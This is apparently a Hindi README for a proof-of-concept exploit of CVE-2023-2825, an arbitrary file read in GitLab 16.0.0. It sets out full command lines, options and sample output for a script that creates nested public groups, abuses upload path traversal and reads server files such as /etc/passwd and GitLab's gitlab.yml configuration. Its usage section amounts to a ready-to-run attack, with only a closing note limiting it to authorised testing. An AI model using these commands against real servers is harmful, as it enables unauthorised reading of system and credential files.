
CVE-2023-2825 के लिए PoC: नेस्टेड सार्वजनिक समूहों, प्रोजेक्ट अपलोड ट्रैवर्सल और पुन: प्रयोज्य अपलोड पथों के माध्यम से स्वचालित GitLab 16.0.0 मनमानी फ़ाइल रीड, साथ ही स्वच्छ CLI आउटपुट।
CVE-2023-2825 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो GitLab CE/EE 16.0.0 में एक आर्बिट्रेरी फ़ाइल रीड (arbitrary file read) भेद्यता है।
स्क्रिप्ट एक वैध GitLab खाते से लॉगिन करती है, आवश्यक सार्वजनिक नेस्टेड ग्रुप संरचना बनाती है, एक सार्वजनिक प्रोजेक्ट बनाती है, एक अटैचमेंट अपलोड करती है, और GitLab सर्वर से लक्षित फ़ाइल को पढ़ने के लिए कमजोर अपलोड पाथ ट्रैवर्सल व्यवहार का उपयोग करती है।
यह मौजूदा अपलोड पथ के पुन: उपयोग का भी समर्थन करता है, ताकि हर फ़ाइल रीड के लिए नए ग्रुप और प्रोजेक्ट बनाने की आवश्यकता न पड़े।
Python 3.8+
pip install -r requirements.txt
आवश्यक Python पैकेज:
beautifulsoup4
requests
urllib3
कोण कोष्ठकों में लपेटे गए मान प्लेसहोल्डर हैं। उन्हें अपने स्वयं के मानों से बदलें और < या > वर्ण शामिल न करें।
python3 cve_2023_2825.py \
--url <GITLAB_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--file /etc/passwd
<GITLAB_URL> # Target GitLab base URL. Example: http://gitlab.local
<USERNAME> # Valid GitLab username.
<PASSWORD> # Valid GitLab password.
python3 cve_2023_2825.py \
--url http://gitlab.local \
--username alice \
--password 'Password123!' \
--file /etc/hosts
उदाहरण आउटपुट:
[2026-05-17T18:20:10Z] [*] Getting CSRF token
[2026-05-17T18:20:10Z] [+] CSRF token found
[2026-05-17T18:20:11Z] [*] Logging in as alice
[2026-05-17T18:20:11Z] [+] Login successful
[2026-05-17T18:20:12Z] [*] Creating 11 nested public groups
[2026-05-17T18:20:18Z] [+] Created group: A1B-11
[2026-05-17T18:20:19Z] [*] Creating public project
[2026-05-17T18:20:20Z] [+] Reusable upload path: /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] Reading file: /etc/hosts
[+] Content of /etc/hosts
127.0.0.1 localhost
सफल रन के बाद, स्क्रिप्ट एक पुन: उपयोग योग्य अपलोड पथ प्रिंट करती है:
Reusable upload path: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/
लॉगिन, ग्रुप निर्माण, प्रोजेक्ट निर्माण और अपलोड को छोड़ने के लिए इसे --reuse-path के साथ उपयोग करें:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
आप एक पूर्ण URL भी पास कर सकते हैं और --url को छोड़ सकते हैं:
python3 cve_2023_2825.py \
--reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
एक फ़ाइल सूची बनाएं:
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF
चलाएं:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--list files.txt
--groups <N>
Number of nested public groups to create. Default: 11
--depth <N>
Number of traversal segments to use. Default: 12
--reuse-path <PATH_OR_URL>
Existing project upload directory. Skips setup and directly reads files.
--only-final
Hide progress logs and print only file contents.
--no-color
Disable ANSI colors.
--debug
Print the generated traversal path for troubleshooting.
--reuse-path का उपयोग करें।यह PoC अधिकृत सुरक्षा परीक्षण, प्रयोगशाला वातावरण और भेद्यता सत्यापन के लिए है। बिना स्पष्ट अनुमति के इसे सिस्टम के विरुद्ध उपयोग न करें।